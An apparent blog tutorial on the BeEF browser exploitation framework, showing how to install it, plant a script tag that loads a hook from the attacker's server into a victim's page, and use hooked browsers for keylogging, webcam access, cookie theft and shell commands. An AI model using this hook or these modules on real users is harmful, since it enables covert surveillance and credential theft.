BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

Amid growing concerns about web-borne attacks against clients, including mobile clients. BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exportability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

Let see how to Hack Web Browsers Using BeEF Framework

Installing BeEF

#apt-get update
#apt-get install beef-xss

Requirements

Kali Linux or other Linux OS
BeEF (The Browser Exploitation Framework)

BeEF comes pre-installed in various pentesting operating systems such as Kali Linux, Parrot OS, BlackArch, Backbox, Cyborg OS. In this tutorial, I will be using Kali there no difference weather you use Kali or Parrot the tutorial will still take the same steps. You can find BeEF in Kali Linux applications menu.

“Applications” -> “Kali Linux” -> “System Services” -> “BeEF” -> “beef start.”

Or from a new terminal we can start BeEF’ using the following commands.

# cd /usr/share/beef-xss
#./beef

Accessing BeEF Web GUI

To access BeEF server open up any web browser and access localhost (127.0.0.1). BeEF runs a web server at port 3000. We can access BeEFS Web GUI from the following URL.

http://localhost:3000/ui/authentication

The default credentials for beEF are both “beef” username “beef” and password “beef”.

Once you have logged into BeEF Web GUI you can see a section on the left “Hooked Browsers” Online Browsers and Offline Browsers. This section shows victims hooked status.

Forwarding Ports

In this tutorial we will be using BeEF inside of our home network using localhost if you intend for users outside the network to connect back to BeEF you will need to open ports within your routers configuration.

www.portforwarding.com

Hooking a Browser

The BeEF hook is a JavaScript file it is used to hook and exploit targets web browsers and acts as a C&C between the target and the attacker. BeEF is an extremely powerful tool and can gather a lot of information about the target. Once BeEF has hooked a target web browser it also allows for additional commands and modules to be executed against the target.

The example below shows a BeEF Hook running on my machines local IP address.

To find you local IP address you can use “ifconfig” from a new terminal.

ifconfig
BeEF hook http://192.168.43.49:3000/hook.js. 

To successfully attack a browser we will need to add BeEF hook to a Web page that the victim will visit there are many methods of delivering a JavaScript Payload. The easiest way is to include the JavaScript hook in the Head of a web page. After the target visits the compromised web page thier browser will be hooked. You will see the hooked browsers IP address and Operating System Platform hovering over target hooked browser will provide information about the target system we can then click on the hooked browser and gain further information and preform further attacks on the system.

Example of BeEF JavaScript Payload :

<script src= “http://192.168.43.49:3000/hook.js;  type= “text/javascript” ></script>

BeEF Framework also includes some default Web Page templates that you can use.

http://localhost:3000/demos/butcher/index.html

Once the target is presented with the Web Page there browser will be hooked and appear in the Hook Browsers section of the BeEF Web GUI.

In the screen shot below we can see BeEF has hooked a target browser and its online from here we can find out information such as The Browsers version plug ins that the browser is using and various information about the target system and its software.

The screen shot below shows Logs from the target system such as mouse movement double clicks and other activity logs created by the target system.

Screen shot below shows available modules that can be used to exploit the target system such as Keyloggers and viewing Webcam’s or Microphone’s of the target browser play sounds steal cookies and credentials and much more.

You might notice that some of the commands have different colored icons next to them. If you click back to the Getting Started tab, it will explain what each of the colors represents.

Each command module has a traffic light icon, which is used to indicate the following:

•  The command module works against the target and should be invisible to the user
•  The module works against the target, but may be visible to the user
•  The command module is yet to be verified against this target
•  The command module does not work against this target

BeEF also also us to send interactive shell commands to the target system the following screen shot below shows BeEF interactive shell.

BeEF can also be integrated with Metasploit for further system exploitation using modules such as browser_auto_pwn.

Conclusion

JavaScript can be very powerful its always wise to take precautions when visiting various websites. Even if the website is known to be trusted it can still be a threat to Watering Hole attacks.

Hope this article helpful for you. Thank You

---

If You Appreciate What We Do Here On Hackonology, You Should Consider:

Hackonology is the fastest growing and most trusted community site where you can find lots of courses, articles about Technology/Hacking/Cracking. Millions of people visit Hackonology! to search or browse the thousands of published articles available FREELY to all.

Let's be a part of Hacker's Community! Join our Hacking Team

We Are Indian We Are Great

---